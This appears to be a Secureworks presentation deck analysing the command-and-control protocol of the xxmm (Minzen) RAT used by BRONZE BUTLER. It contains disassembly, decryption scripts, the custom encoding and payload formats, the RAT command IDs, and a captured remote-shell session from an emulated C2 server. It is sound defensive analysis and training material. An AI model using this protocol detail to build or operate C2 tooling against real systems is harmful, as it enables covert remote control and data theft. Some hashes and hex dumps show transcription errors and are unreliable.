

# Understanding Command and Control

- An Anatomy of xxmm Communication -

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# Goals of This Presentation

For analyst / researcher / developer

- Provide information about modern C2 implementation including:
  - Encryption, compression, proprietary data structures
- Provide a training material for C2 analysis
  - You can compare answers with your analysis result

For incident responder

- Tell you the importance of proxy log analysis and server investigation by public sector such as NPA, JPCERT/CC

For red teamer

- Provide knowledge of modern C2 implementation can be used to improve your penetration testing

# Agenda

- Analysis Target: xxmm
- xxmm Communication Analysis
- xxmm Payload Analysis
- Proof of Analysis





# **Analysis Target: xxmm**



# xxmm (a.k.a. Minzen)

## RAT malware used by BRONZE BUTLER

- Good sample to understand modern command and control protocol
  - Uses HTTP/S with proxy
    - GET or POST request
    - Also supports TCP/UDP/ICMP
  - Uses encryption
    - RSA + onetime RC<sub>4</sub> encryption in its communication
  - Uses proprietary data structures
  - Is capable to do various commands





# Supported Features

Sleep

Drive info

File listing, upload, download, deletion

Directory creation

Process creation

Remote Shell

# Is BRONZE BUTLER Still Active?

Seems to be inactive since early 2018

- Several Datper variants were observed from Nov, 2017
  - e.g. 517b2695bbf7164bfb9cab0a133bbob1aeb387cbb7f30aao1bf5d6f89cca4214
  - Changed to use modified RC4 init as the following:

```
def rc4_mod_init(key, c):  
    enc = []  
    for i in range(0, 256):  
        enc.append((i+c) & 0xFF)  
    prev_target = 0  
    for i in range(0, 256):  
        target = (ord(key[i%len(key)]) + enc[i] + prev_target) & 0xFF  
        tmp = enc[i]  
        enc[i] = enc[target]  
        enc[target] = tmp  
        prev_target = target  
    return enc
```

# File Information

- xmm dropper (can be downloaded from VT Enterprise)

SHA-256 hash	4d208c86c8331b7f1f6dd53f83af9ee4ec700a74792b419f663a3ce105d15d1c
File type	PE32 executable (GUI) Intel 80386, for MS Windows
PE timestamp	Thu May 12 02:44:45 2016 UTC
First seen on VT	PE32 executable (GUI) Intel 80386, for MS Windows

- xmm main module (will be loaded by the dropper)

SHA-256 hash	714863d7d951e87c9cbde87882f9038db7ad7c8dacd29b2c12eb9ebca075ecb8
File type	PE32 executable (console) Intel 80386, for MS Windows
PE timestamp	Thu May 12 02:44:51 2016 UTC

Target binary




# References / Tools

## Useful for analysis

- xmm2\_build.exe
  - <https://www.virustotal.com/#/file/76340ef248c286270a07e2aee7c7b1d6a007e77addeo8dc6c1dcaa176aef9e1a8/detection>
- xmm2\_steganography.exe
  - <https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b97c7baab5e5e2b82a6ec2694641cd41ec47b90766/detection>
- wincrypto - Python module
  - <https://github.com/crappycrypto/wincrypto>
- lznt1 - Python module
  - <https://github.com/you0708/lznt1>

# Unpacking main module

xxmm installer contains both 32-bit and 64-bit binaries



# Decrypting All Encrypted Resources

Python scripting is an easy way to decrypt

```
pe = pefile.PE(data=xmm)
try:
    if pe.DIRECTORY_ENTRY_RESOURCE.entries[0].name.string != "DATA":
        return data
except:
    return data

for res in pe.DIRECTORY_ENTRY_RESOURCE.entries[0].directory.entries:
    res_offset = pe.get_offset_from_rva(res.directory.entries[0].data.struct.OffsetToData)
    res_size = res.directory.entries[0].data.struct.Size
    enc = xmm[res_offset:res_offset+res_size]
    if enc[0] == "\x00":
        continue
    if enc[:2] == "MZ":
        data.append(("module", enc))
        continue

    global rc4key
    dec = rc4(enc, rc4key)
    #print(repr(dec[:100]))
    try:
        dec = lznt1.decompress(dec[1:])
    except:
        continue
    if len(dec) != 0:
        data.append(("xmm", dec))
```

32-bit main module

```
[+] could not find rc4key, use default key: 1234
[+] saved unpacked xmm as xmm_dropper_unpacked_o.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_1.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_1_unpacked_o.bin
[+] saved unpacked module as xmm_dropper_unpacked_1_unpacked_1.bin
[+] saved unpacked module as xmm_dropper_unpacked_1_unpacked_2.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_1_unpacked_3.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_1_unpacked_o_unpacked_o.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_o_unpacked_o.bin
[+] saved unpacked module as xmm_dropper_unpacked_o_unpacked_1.bin
[+] saved unpacked module as xmm_dropper_unpacked_o_unpacked_2.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_o_unpacked_3.bin
[+] saved unpacked xmm as xmm_dropper_unpacked_o_unpacked_o_unpacked_o.bin
```

# Process of xxmm Main Module

1. Load hardcoded config

- C2 URL, encryption key, version string, etc.

2. Initialize command list

3. Start C2 thread



# 1. Loading Hardcoded Configuration

## Process of xmm main module

```
013B1404      mov     eax, offset aParameter ; "parameter:"
013B1409      lea     esi, [ebp+cfg_parameter]
013B140F      call    aa_decode_config
013B1414      test    eax, eax
013B1416      jz      short loc_13B1420
013B1418
013B1418 loc_13B1418:      ; CODE XREF: _main+168;j
013B1418      xor     eax, eax
013B141A      call    __SEH_epilog4_GS
013B141F      retn
013B1420 ; -----
013B1420
013B1420 loc_13B1420:      ; CODE XREF: _main+36;j
013B1420      push    0Fh
013B1422      pop     ecx
013B1423      mov     eax, offset aSetupparameter ; "setupParameter:"
013B1428      lea     esi, [ebp+cfg_setupParameter]
013B142E      call    aa_decode_config
013B1433      xor     edi, edi
013B1435      cmp     eax, edi
013B1437      jnz     short loc_13B1439
013B1439      push    1051Eh
013B143E      mov     eax, esi
013B1440      call    aa_get_item_st
013B1445      mov     ebx, eax
```


Config data is XOR encoded with a key character "f"

```
013C27C8 loc_13C27C8:      ; CODE XREF: aa_de
013C27C8      mov     edx, [esi+aa_item_info.items_ptr]
013C27CB      mov     dl, [ecx+edx]
013C27CE      xor     dl, 66h ; 'f'
013C27D1      mov     [ecx+eax], dl
013C27D4      inc     ecx
013C27D5      cmp     ecx, [esi+aa_item_info.items_len]
013C27D8      jb      short loc_13C27C8
```

# 2. Command List Initialization

## Process of xmm main module

```
013B27E8      push     offset xmm_commands
013B27ED      call     aa_register_command
013B27F2      mov      dword ptr [esp], offset std_commands
013B27F9      call     aa_register_command
013B27FE      mov      dword ptr [esp], 80503h
013B2805      lea      eax, [ebp+cfg_parameter]
```



Create link list like  
command data

```
.text:013BA0F5      push     0A4h          ; size_t
.text:013BA0FA      call     _malloc
.text:013BA0FF      pop      ecx
.text:013BA100      test     eax, eax
.text:013BA102      jz       short loc_13BA127
.text:013BA104      push     29h          ; ')'
.text:013BA106      pop      ecx
.text:013BA107      mov      edi, eax
.text:013BA109      rep movsd
.text:013BA10B      test     ebx, ebx
.text:013BA10D      jz       short loc_13BA115
.text:013BA10F      mov      [ebx+aa_command.fd], eax
.text:013BA115      loc_13BA115:
.text:013BA115      and      [eax+aa_command.fd], 0
.text:013BA11C      mov      edi, [ebp+cmd_list]
.text:013BA11C      mov      [eax+aa_command.bk], ebx
.text:013BA11C      mov      ebx, eax
.text:013BA125
.text:013BA127      loc_13BA127:
.text:013BA127      inc      [ebp+i]
.text:013BA12A      mov      esi, [ebp+i]
.text:013BA12D      imul     esi, size aa_command
.text:013BA133      add      esi, edi
.text:013BA135      cmp      [esi+aa_command.name], 0
.text:013BA138      jnz      short loc_13BA0F5
```

# 3. Command & Control Thread

## Process of xmm main module

```
013B29EC    cmp     [ebp+i], 7
013B29F3    jge     short loc_13B2A31
013B29F5    push    esi                ; lpThreadId
013B29F6    push    esi                ; dwCreationFlags
013B29F7    push    [ebp+i]            ; lpParameter
013B29FD    push    0 ; aa_command_and_control_thread ;
013B2A02    push    esi                ; dwStackSize
013B2A03    push    esi                ; lpThreadAttributes
013B2A04    call    ds:CreateThread
013B2A0A    inc     [ebp+i]
013B2A10    jmp     short loc_13B29EC
```

xmm is capable to have 7 C2 server entries in its config

```
013B4F7C    mov     eax, [ebx+aa_server.type]
013B4F7F    xor     esi, esi
013B4F81    mov     [esp+804h+aa_server], ebx
013B4F85    type0:
013B4F85    cmp     eax, esi
013B4F87    jnz     type1
013B4F8D    lea     ecx, [esp+804h+aa_http]
013B4F94    call    aa_init
013B4F99    mov     [esp+804h+aa_http], ecx
013B4FA0    mov     [esp+804h+aa_http], ecx
013B4FAB    mov     [esp+804h+aa_http], ecx
013B4FB2    mov     byte ptr [esp+804h+aa_http], 1
013B4FBA    lea     eax, [esp+804h+aa_http]
```





# **xxmm Communication Analysis**



# Communication Protocol

xxmm supports various communication types

Type	Protocol	Description
0	HTTP	C2 communication
1	HTTP	C2 communication
2	HTTP	Download C2 server information
4	TCP	C2 communication using proprietary TCP protocol
5	UDP	C2 communication using proprietary UDP protocol
6	ICMP	C2 communication using ICMP echo



# **xxmm Communication Analysis**

## **Type 2: C2 URL Download**

# GET Request to An Image File

Usual HTTP GET request to hardcoded URL

URL is specified by its config

```
GET /test/test.jpg HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache
```

FF D8 FF E0 00 10 4A 46	49 46 00 01 02 01 00 60	.....JFIF.....`
00 60 00 00 FF E1 0C 2D	45 78 69 66 00 00 4D 4D	.`.....-Exif..MM
00 2A 00 00 00 08 00 07	01 32 00 02 00 00 00 14	.*......2.....
00 00 00 62 47 46 00 03	00 00 00 01 00 05 00 00	...bGF.....
47 49 00 03 00 00 00 01	00 58 00 00 82 98 00 02	GI.....X.....
00 00 00 16 00 00 00 76	9C 9D 00 01 00 00 00 14	.....v.....
00 00 00 00 EA 1C 00 07	00 00 07 D2 00 00 00 00	.....
87 69 00 04 00 00 00 01	00 00 00 8C 00 00 00 F6	.i.....
32 30 30 39 3A 30 33 3A	31 32 20 31 33 3A 34 38	2009:03:12 13:48

# Encrypted Payload in The Image File

Contains C2 command (DownloadExecute/ChangeURL)

EA D4 EB 42 9A 7B 41 0D	4C F1 A0 07 87 CF 20 67	...B.{A.L.....g
22 BF 6F 5F FF D9 78 00	78 00 6D 00 6D 00 42 54	".o...x.x.m.m.BT
4C 42 6E 5F 50 73 42 34	51 50 4B 77 46 51 39 32	LBn_PsB4QPKwFQ92
63 45 31 61 4D 35 66 75	4F 56 65 66 35 56 35 68	cE1aM5fuOVef5V5h
6F 53 43 5F 41 76 77 32	77 45 59 73 54 6A 2D 61	oSC_Avw2wEYstj-a
34 5F 30 6B 47 56 43 32	6C 74 5A 38 39 73 4B 39	4_0kGVC2ltZ89sK9
38 38 47 56 4C 58 66 44	77 2D 36 66 4B 72 53 52	88GVLXfDw-6fKrSR
38 68 65 72 2D 66 39 4D	76 75 52 47 4E 77 31 6D	8her-f9MvuRGNw1m
55 59 34 59 35 35 71 76	72 68 4E 31 70 52 75 5F	UY4Y55qvrrhN1pRu_
42 5F 43 4A 77 65 44 35 49 6B 52 4E	77 65 44 35 49 6B 52 4E	QitXB_CJweD5IkRN
61 42 79 36 63 69 38 37 31 2D 4B 38	63 69 38 37 31 2D 4B 38	KOi5QBy6ci871-K8
62 70 31 74 4C 38 38 49 6E 43 74 35	4C 38 38 49 6E 43 74 35	Ilv7bp1tL88InCt5
62 38 49 67 3D 3D 6D 00 6D 00 78 00	3D 3D 6D 00 6D 00 78 00	4Aj1R8Ig==m.m.x.
7 0		x.

Markers are specified by its config

Start marker  
xxmm

Encrypted payload

End marker  
mmxx






# **xxmm Communication Analysis**

## **Type 0,1: HTTP C2 Communication**

# C2 Communication using HTTP

xxmm communicates with specified C2 server




# Ping/Pong

## Checking C2 server

- Ping/Pong communication will be performed before every C2 communication

```
GET /index.php?id0=39454275&id1=0&id2=f7547c11&id3=0&id6=2400000 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache
```



```
HTTP/1.1 200 OK
(snip.)
Content-Length: 1
```

1

# 1, 3. Parameters of HTTP Request

GET /index.php?id0=b78503d0&id1=0&id2=f7547c11&id3=1&id4=AAAACAAA(snip.)gPcv^lQ!!&id6=2400000 HTTP/1.1


Accept: \*/\*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SV1)

Host: www.example.com

Cache-Control: no-cache



	Description	Ping	Command Result	Command Request
Param 0	Random hex string	8 digits hex string	8 digits hex string	8 digits hex string
Param 1	Constant value	0	0	0
Param 2	Client ID	8 digits hex string	8 digits hex string	8 digits hex string
Param 3	Request type	0	1	2
Param 4	Encrypted payload		Base64 like string	
Param 5	Unknown	?	?	?
Param 6	Current interval	2400000	2400000	2400000

Will be POST data if the size is large



## 2. Receive command

HTTP Communication with given C2 server


```
HTTP/1.1 200 OK  
(snip.)  
Content-Length: 104
```

```
AAAACAAAAAFCcE1D0wHDQ8bBCDZZwfUoyA9ivQW6nHnTwEXmPi8H9MH1LS  
96GPjJLg6NV5Sx28u3SEZavkcRgvIxmsbLZIOha6yyw!!
```

Encrypted payload - same encryption/format  
with value of param4 in GET request

# Encrypted Payload in GET Request


If RSA is enabled



- LZNT1 compression
  - Performed using RtlCompressBuffer
  - Add 1 byte header
- RC4 encryption using randomly generated one-time key
  - RC4 one-time key is encrypted with RSA public key
- Base64 encoding with custom table
  - ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
  - ↓
  - ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^`!

# One-time Key Encryption

Using RSA key pair"s"



# Decrypting Encrypted Payload

Encrypted/Encoded payload

AAAACAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^IQ!!

Custom Base64 decode

Header  
length

**RSA flag**  
(0x00000001)

RSA encrypted  
RC<sub>4</sub> key

**RC<sub>4</sub> encrypted payload**


RSA + RC<sub>4</sub> decrypt

**Compress  
flag**

**LZNT<sub>1</sub> compressed/plain data**

# Encrypted Payload in GET Request

If RSA is disabled



- LZNT1 compression
  - Performed using RtlCompressBuffer
  - Add 1 byte header
- RC4 encryption using default key
  - "1234"
- Base64 encoding with custom table
  - ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
  - ↓
  - ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^`!



# Decrypting Encrypted Payload

Encrypted/Encoded payload

AAAACAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^IQ!!

Custom Base64 decode

Header  
length

RSA flag  
(0x00000000)

RC<sub>4</sub> encrypted payload

RC<sub>4</sub> decrypt

Compress  
flag


LZNT<sub>1</sub> compressed/plain data



# **xxmm Payload Analysis**

# Data Format of Payload

- Need to extract “item” to understand the meaning of command



# Item Structure

xxmm uses item list in their communication and configuration

- Item format: 

Length	ID	Data
--------	----	------

  - xxmm has various ID - difficult to enum them
- e.g. decoded config

00 00 00 00 00 00 00 00	70 61 72 61 6D 65 74 65	.....paramete
72 3A 00 00 05 34 00 00	00 02 00 00 00 09 00 01	r:....4.....
00 01 00 00 00 00 0C 00	01 04 DE 33 2E 30 00 00	.....3.0..
00 00 0A 00 01 04 E3 30	00 00 00 00 0B 00 01 04	.....0.....
E4 32 34 00 00 00 00 9C	00 04 05 00 06 02 00 00	.24.....
00 A4 00 00 52 53 41 31	00 04 00 00 01 00 01 00	....RSA1.....
15 28 16 28 A1 92 F7 69	14 C1 83 18 E6 97 13 C1	.(. (. .i.....
7A 31 83 84 7C A3 25 C7	AC D6 67 89 B9 A2 06 EE	z1.. .%. .g.....
A3 93 40 95 7B 8D E0 20	B9 6D EE 10 3C CC 48 E2	..@.{. .m..<.H.
17 9C 83 ED D7 78 D4 87	D8 E9 DA AF 2B C9 CA EA	.....x.....+
4F 58 15 84 FF 19 2A 21	BC 17 1B 08 6B 17 D6 8D	OX.....*!. .k...



# Items Structure

## Header + Item data

- Items format: 

Length	Type	Items data
--------	------	------------

  - Type 0/10: data from server, Type 1/11: data from client, Type 2: configuration
- e.g. decoded config

00 00 00 00 00 00 00 00	70 61 72 61 6D 65 74 65	.....paramete
72 3A 00 00 05 34 00 00	00 02 00 00 00 09 00 01	r:....4.....
00 01 00 00 00 00 0C 00	01 04 DE 33 2E 30 00 00	.....3.0..
00 00 0A 00 01 04 E3 30	00 00 00 00 0B 00 01 04	.....0.....
E4 32 34 00 00 00 00 9C	00 04 05 00 06 02 00 00	.24.....
00 A4 00 00 52 53 41 31	00 04 00 00 01 00 01 00	....RSA1.....
15 28 16 28 A1 92 F7 69	14 C1 83 18 E6 97 13 C1	.(.(.i.....
7A 31 83 84 7C A3 25 C7	AC D6 67 89 B9 A2 06 EE	z1.. .%.g.....
A3 93 40 95 7B 8D E0 20	B9 6D EE 10 3C CC 48 E2	..@.{...m..<.H.
17 9C 83 ED D7 78 D4 87	D8 E9 DA AF 2B C9 CA EA	.....x.....+
4F 58 15 84 FF 19 2A 21	BC 17 1B 08 6B 17 D6 8D	OX.....*!.k...



# Analyzing Items/Item Structure

```
013C2775      push     ebx
013C2776      mov      ebx, ds:ntohl
013C277C      push     edi
013C277D      lea      edi, [eax+ecx]
013C2780      mov      eax, [edi+aa_items_header.total_len]
013C2782      mov      [esi+aa_item_info.total_len], eax
013C2784      mov      eax, [edi+aa_items_header.type]
013C2787      push     2 ; netlong
013C2789      mov      [esi+aa_item_info.type], eax
013C278C      call     ebx ; ntohl
013C278E      cmp      [esi+aa_item_info.type], eax
013C2791      jz       short loc_13C2798
013C2793      push     0FFFFFFEh
013C2795      pop      eax
013C2796      jmp      short loc_13C27DF
013C2798 ; -----
013C2798      loc_13C2798: ; CODE XREF: aa_decoder
013C2798      push     [esi+aa_item_info.total_len] ; netlong
013C279A      add      edi, aa_items_header.items
013C279D      mov      [esi+aa_item_info.items_ptr], edi
```

Parse Items structure and  
create info structure to access  
items easily

```
013B7D24      loc_13B7D24: ; CODE XREF: aa_decoder
013B7D24      test     esi, esi
013B7D26      jz       short loc_13B7D9F
013B7D28      mov      eax, [ebp+items_len]
013B7D2B      mov      ecx, [ebp+items_ptr]
013B7D2E      add      eax, ecx
013B7D30      lea      edx, [esi+aa_item.value]
013B7D33      mov      [ebp+items_end_ptr], eax
013B7D36      cmp      edx, eax
013B7D38      ja       short loc_13B7D9F
013B7D3A      cmp      esi, ecx
013B7D3C      jb       short loc_13B7D9F
013B7D3E      push     [esi+aa_item.size] ; netlong
013B7D40      call     edi ; ntohl
013B7D42      push     [esi+aa_item.ID] ; netlong
013B7D45      mov      [ebp+item_size], eax
013B7D48      call     edi ; ntohl
013B7D4A      cmp      eax, [ebp+ID]
013B7D4D      jz       short item_match
013B7D4F      cmp      [ebp+ID], 0
013B7D53      jnz      short loc_13B7D91
013B7D55      item_match: ; CODE XREF: aa_decoder
013B7D55      mov      eax, [ebp+i]
013B7D58      cmp      eax, [ebp+idx]
013B7D5B      jz       short get_next_item
013B7D5D      inc      [ebp+i]
013B7D60      jmp      short loc_13B7D91
013B7D62 ; -----
013B7D62      get_next_item: ; CODE XREF: aa_decoder
013B7D62      mov      eax, [ebp+item_size]
013B7D65      add      eax, esi
013B7D67      cmp      eax, [ebp+items_end_ptr]
```

# Payload Header

edc80b19

00000000

0172d218

0000007a


00000001

00000018...

Offset	Size	Value	Description
0x00	4	Timestamp	Return value of GetTickCount
0x04	4	Split count	Num of "items" blocks (starts from 0)
0x08	1	1byte flag	0: Larger than max size 1: Less than max size
0x0C	Variable	Items	Payload

# Command and Control

## Using item structure





# RAT Command: xxmm API

- GetSystemInformation
- DownloadExecute
- ChangeUrl
- ChangeTimeInterval
- Uninstall
- PlugIn
- PowershellEncodedCommand
- CreateProcessLow



# RAT Command: Standard(?) API

- stdapi\_execute\_sleep
- stdapi\_execute\_commandgroup
- stdapi\_syncshell\_kill
- stdapi\_syncshell\_control
- stdapi\_syncshell\_open
- stdapi\_cmd\_kill
- stdapi\_cmd\_control
- stdapi\_cmd\_open
- stdapi\_fs\_search
- stdapi\_fs\_file\_upload
- stdapi\_fs\_file\_download
- stdapi\_fs\_file\_excute
- stdapi\_fs\_GetLogicalDriver
- stdapi\_fs\_sha1
- stdapi\_fs\_md5
- stdapi\_fs\_file\_move
- stdapi\_fs\_file\_expand\_path
- stdapi\_fs\_stat
- stdapi\_fs\_separator
- stdapi\_fs\_delete\_file
- stdapi\_fs\_delete\_dir
- stdapi\_fs\_mkdir
- stdapi\_fs\_chdir
- stdapi\_fs\_getwd
- stdapi\_fs\_ls



# Based on Metasploit API?

rapid7 / metasploit-payloads

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metasploit-payloads / java / meterpreter / stdapi / src / main / java / com / metasploit / meterpreter / stdapi /

timwr fix process\_execute with escaped arguments Latest commit fe02cd0 on Sep 7, 2017

	format all code with the default intellij java formatter	3 years ago
	stdapi_fs_file_copy	2 years ago
	format all code with the default intellij java formatter	3 years ago
channel_create_stdapi_net_tcp_client.java	format all code with the default intellij java formatter	3 years ago
channel_create_stdapi_net_tcp_server.java	format all code with the default intellij java formatter	3 years ago
channel_create_stdapi_net_udp_client.java	format all code with the default intellij java formatter	3 years ago
stdapi_fs_chdir.java	format all code with the default intellij java formatter	3 years ago
stdapi_fs_delete_dir.java	format all code with the default intellij java formatter	3 years ago
stdapi_fs_delete_file.java	format all code with the default intellij java formatter	3 years ago
stdapi_fs_file_copy.java	stdapi_fs_file_copy	2 years ago

Same name with Metasploit  
API

# Command Details

Command	Argument 1	Argument 2	Argument 3	Result 1	Result 2	Result 3
GetSystemInformation	-	-	-	0x4001A	-	-
	-	-	-	System info	-	-
DownloadExecute	0x404D5	0x104D3	0x204D4	-	-	-
	File data	File path	Show flag	-	-	-
ChangeUrl	0x104F6	0x20529	-	-	-	-
	C2 URL	Server No.	-	-	-	-
ChangeTimeInterval	0x204F7	-	-	-	-	-
	New interval	-	-	-	-	-
Uninstall	0x20535	-	-	-	-	-
	Run key flag	-	-	-	-	-
PlugIn	0x404D5	-	-	-	-	-
	file data	-	-	-	-	-
PowershellEncodedCommand	0x104F8	-	-	-	-	-
	Encoded PS command	-	-	-	-	-
CreateProcessLow	0x1052D	0x2052E	-	-	-	-
	Command line	Alt process	-	-	-	-

# Command Details

Command	Argument 1	Argument 2	Argument 3	Result 1	Result 2	Result 3
stdapi_fs_ls	0x104B0	-	-	0x104B1	0x104B2	0x800004C4
	Target dir	-	-	File name	Full path	File stat
stdapi_fs_getwd	-	-	-	0x104B0	-	-
	-	-	-	Current dir	-	-
stdapi_fs_chdir	0x104B0	-	-	-	-	-
	Target dir	-	-	-	-	-
stdapi_fs_mkdir	0x104B0	-	-	-	-	-
	Target dir	-	-	-	-	-
stdapi_fs_delete_dir	0x104B0	-	-	-	-	-
	Target dir	-	-	-	-	-
stdapi_fs_delete_file	0x104B2	-	-	-	-	-
	Target file	-	-	-	-	-
stdapi_fs_separator	-	-	-	0x1000A	-	-
	-	-	-	Path separator	-	-
stdapi_fs_stat	0x104B2	-	-	0x800004C4	-	-
	Target file	-	-	File stat	-	-

# Command Details

Command	Argument 1	Argument 2	Argument 3	Result 1	Result 2	Result 3
stdapi_fs_file_expand_path	0x104B2	-	-	0x104B2	-	-
	Target path	-	-	Full path	-	-
stdapi_fs_md5	0x104B2	-	-	0x104B1	-	-
	Target path	-	-	MD5 digest	-	-
stdapi_fs_sha1	0x104B2	-	-	0x104B1	-	-
	Target path	-	-	SHA-1 digest	-	-
stdapi_fs_GetLogicalDriver	-	-	-	0x104B2	0x204D2	-
	-	-	-	Drive root	Drive type	-
stdapi_fs_file_execute	0x104D3	0x204D4	-	-	-	-
	Command line	Show flag	-	-	-	-
stdapi_fs_file_download	0x104B2	0x104B2	-	0x104B2	0x104B2	0x404D5
	Target path	Unknown	-	File path	Unknown	File data
stdapi_fs_file_upload	0x104B2	0x104B2	0x404D5	0x104B2	0x104B2	-
	Target path	Unknown	File data	File path	Unknown	-
stdapi_fs_search	0x104D0	0x104CF	0x804CE	0x104B2	0x104B1	0x204B4
	Target path	Target filename	Recursive flag	Dir	Filename	File size



# Command Details

Command	Argument 1	Argument 2	Argument 3	Result 1	Result 2	Result 3
stdapi_cmd_open	0x104D3	0x2050A	-	0x2050A	-	-
	Alt shell	Terminate flag	-	PID	-	-
stdapi_cmd_control	0x404D6	-	-	0x404D6	-	-
	Shell command	-	-	Output	-	-
stdapi_cmd_kill	-	-	-	-	-	-
	-	-	-	-	-	-
stdapi_syncshell_open	0x104D3	-	-	-	-	-
	Alt shell	-	-	-	-	-
stdapi_syncshell_control	0x404D6	-	-	0x404d7	-	-
	Shell command	-	-	Output	-	-
stdapi_syncshell_kill	-	-	-	-	-	-
	-	-	-	-	-	-
stdapi_execute_commandgroup	0x404D8	-	-	-	-	-
	Command group	-	-	-	-	-
stdapi_execute_sleep	0x204D9	-	-	-	-	-
	Sleep time	-	-	-	-	-

# Analyzing Arguments

## Check getting item function

- e.g. ChangeUrl command

```
013B413D    mov     ebx, esi
013B413F    call    aa_parse_payload_items
013B4144    mov     [ebp+var_20], eax
013B4147    push    104F6h           ; ID
013B414C    mov     eax, esi
013B414E    call    aa_get_item_string_w
013B4153    pop     ecx
013B4154    mov     ebx, eax
xor     edi, edi
push    ebx                ; lpString
mov     [ebp+arg_4], edi
call    ds:strlenW
inc     eax
push    eax                ; cchWideChar
push    ebx                ; lpWideCharStr
013B4165    lea     ebx, [ebp+arg_4]
013B4168    call    aa_WideCharToMultiByte
```


There are several function call  
to parse arguments  
in command function

# e.g. File Uploading

Request to upload C:\hoge.txt




xxmm



AAAAiAAAAFg`y7o2T7BvTFDZDWFuR0Uuu7r1k0uUUytKzrp6Mxy`^AfuAHR1a(snip.)RHJp6p8  
qQ5LppSwF4HoD4SRS3i8D5zMmHIxo9N1jtk89i992GlvefWr1t57gl0LTZQXVihmeedUNbI!



C2 server




GET /index.php?id0=d65d4f8a&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAA(snip.)Izxj4ER6A^Dg!!&id6=10000

# e.g. Remote Shell

To execute 'ipconfig'



xxmm





# Proof of Analysis



# C2 Emulation Environment

Create tiny script for C2 emulation



Create RSA key blobs




Execute xmmm main module in the fake internet environment

- You have to modify RSA keys in its config

# Base Provider Key BLOBs

RSA key format can be imported by CryptImportKey API

- See <https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs>
  - We can create the key pair using PowerShell commands



```
Add-Type -AssemblyName System.Security
$RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_server_public_key.bin" -Value $RSA.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_server_private_key.bin" -Value $RSA.ExportCspBlob($True) -Encoding Byte

$RSA2 = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_client_public_key.bin" -Value $RSA2.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_client_private_key.bin" -Value $RSA2.ExportCspBlob($True) -Encoding Byte
```

# Captured Packet

## "dir" command execution

Length	Info
54	GET /index.php?id0=df384e86&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
460	HTTP/1.0 200 OK
54	GET /index.php?id0=c96b7db5&id1=0&id2=a14b7b81&id3=2&id6=10000 HTTP/1.1
167	HTTP/1.0 200 OK
54	GET /index.php?id0=43799d1e&id1=0&id2=a14b7b81&id3=0&id6=5000 HTTP/1.1
149	HTTP/1.0 200 OK
54	GET /index.php?id0=4a07d6c6&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
167	HTTP/1.0 200 OK
54	GET /index.php?id0=6ba16482&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
468	HTTP/1.0 200 OK
54	GET /index.php?id0=48aa6019&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
167	HTTP/1.0 200 OK
54	GET /index.php?id0=984dd258&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
1530	POST /index.php?id0=0ce56a7c&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
149	HTTP/1.0 200 OK
167	HTTP/1.0 200 OK
54	GET /index.php?id0=3066e07a&id1=0&id2=a14b7b81&id3=0&id6=10000 HTTP/1.1
166	HTTP/1.0 200 OK

```
XXMM_ID_CMD_OUT: Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\you\Desktop\test>dir
.
.
B8F7-08BC

C:\Users\you\Desktop\test
2019/01/10 17:07 <DIR> .
2019/01/10 17:07 <DIR> ..
2018/09/10 11:57 241,152 out.exe
1 241,152
2 25,463,037,952

C:\Users\you\Desktop\test>
XXMM_ID_STATUS: 0
```

The background of the slide features a large, stylized graphic. It consists of a solid black circle on the right side, which is partially overlapped by a vibrant blue shape on the left. The blue shape is composed of several curved, overlapping segments, creating a dynamic, abstract pattern that resembles a stylized 'S' or a series of interlocking rings.

# Secureworks®